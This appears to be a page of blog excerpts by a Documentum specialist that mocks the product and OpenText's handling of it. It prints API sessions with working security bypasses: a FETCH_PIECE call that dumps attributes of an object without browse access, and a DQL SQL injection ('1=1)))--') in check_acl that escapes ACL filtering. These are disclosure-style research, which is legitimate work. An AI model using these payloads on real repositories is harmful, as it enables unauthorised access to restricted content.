Posted byAndrey B. Panfilov
CommentsLeave a comment
Interesting observation: the more I learn Documentum the more I realize that it is a piece of dog crap. Recently I demonstrated possibility to create world-writable ACL by setting the value of owner_name to ‘dm_world’, this fact have given me idea that the same trick will work for sysobjects (i.e. create world-readable sysobject regardless assigned ACL), moreover SQLs generated by Content Server look very promising:
API> ?,c,select count(*) from dm_folder count(*) ---------------------- 14865 (1 row affected) API> ?,c,EXEC GET_LAST_SQL result -------------------------- select all count(*) ... ( dm_folder.owner_name in ('test','dm_world')) ...
API> create,c,dm_document ... 09024be9800a912c API> set,c,l,owner_name SET> dm_world ... OK API> save,c,l ... [DM_SYSOBJECT_E_CANT_FIND_USER]error: "The user 'dm_world' specified does not exist."
API> fetch,c,0b024be9800a8e60 ... [DM_API_E_EXIST]error: "Document/object specified by 0b024be9800a8e60 does not exist." [DM_SYSOBJECT_E_NO_BROWSE_ACCESS]error: "No browse access for sysobject with ID '0b024be9800a8e60'."
API> apply,c,0b024be9800a8e60,FETCH_PIECE,OBJECT_TYPE,S,dm_sysobject,VSTAMP,I,-1 ... q0 API> next,c,q0 ... OK API> dump,c,q0 ... USER ATTRIBUTES object_name : Repository traversal title : subject : resolution_label : owner_name : dmadmin owner_permit : 7 group_name : docu group_permit : 5 world_permit : 1 log_entry : acl_domain : dmadmin acl_name : dm_45024be98000c501 language_code : SYSTEM ATTRIBUTES r_object_type : dm_folder r_creation_date : 5/14/2018 07:43:07 r_modify_date : 5/14/2018 07:43:07 r_modifier : dmadmin r_access_date : nulldate r_link_cnt : 0 r_link_high_cnt : 0 r_assembled_from_id : 0000000000000000 r_frzn_assembly_cnt : 0 r_has_frzn_assembly : F r_is_virtual_doc : 0 r_page_cnt : 0 r_content_size : 0 r_lock_owner : r_lock_date : nulldate r_lock_machine : r_immutable_flag : F r_frozen_flag : F r_has_events : F r_creator_name : dmadmin r_is_public : F r_policy_id : 0000000000000000 r_resume_state : 0 r_current_state : 0 r_alias_set_id : 0000000000000000 r_full_content_size : 0 APPLICATION ATTRIBUTES a_application_type : a_status : a_is_hidden : F a_retention_date : nulldate a_archive : F a_compound_architecture : a_link_resolved : F a_content_type : a_full_text : T a_storage_type : a_special_app : a_category : a_is_template : F a_controlling_app : a_is_signed : F a_last_review_date : nulldate INTERNAL ATTRIBUTES i_is_deleted : F i_reference_cnt : 1 i_has_folder : T i_contents_id : 0000000000000000 i_cabinet_id : 0c024be980000105 i_antecedent_id : 0000000000000000 i_chronicle_id : 0b024be9800a8e60 i_latest_flag : T i_branch_cnt : 0 i_direct_dsc : F i_is_reference : F i_retain_until : nulldate i_partition : 0 i_is_replica : F i_vstamp : 0
Another one DQL feature introduced in D7:
API> ?,c,select count(*) from dm_folder count(*) ---------------------- 2036 (1 row affected) API> ?,c,select count(*) from dm_folder where check_acl('1=1)))--', 'object_name') count(*) ---------------------- 908388 (1 row affected)
Who the hell creates database indexes through DQL? Please, show me that idiot.
You can find it in the downloads section.
A month ago I got impressed how software company manages knowledge: as all we know when Documentum was under EMC wing there were two public forums: Documentum Support Forum and Documentum Developer Forum – both are inaccessible for now because OpenText had partially moved their content to OpenText community forum and restricted access to customers only – here I have now idea why do they think that ECN forums weren’t public:
At ECD, the two forums you mentioned were separated because one was an open forum and the other (Dev) was closed and available to developers only. Here, we do not have the distinction of open and closed forums within our product membership.
Today I got another interesting case: it seems that OpenText decided to rebrand Documentum products but doing it in extremely weird manner, for example:
I didn’t realize that roadmap documents were updated last month. It looks like the February release is still going to happen (and I’ve been told a definite date, so it looks it won’t be delayed). After reviewing them (haven’t seen any changes :D), I can say:
I’m curious to see how many bugs are found in this first release from Opentext (and the brave customers that go first into the unknown :D), considering that some of the experienced Documentum staff left the company and the changes…
View original post 19 more words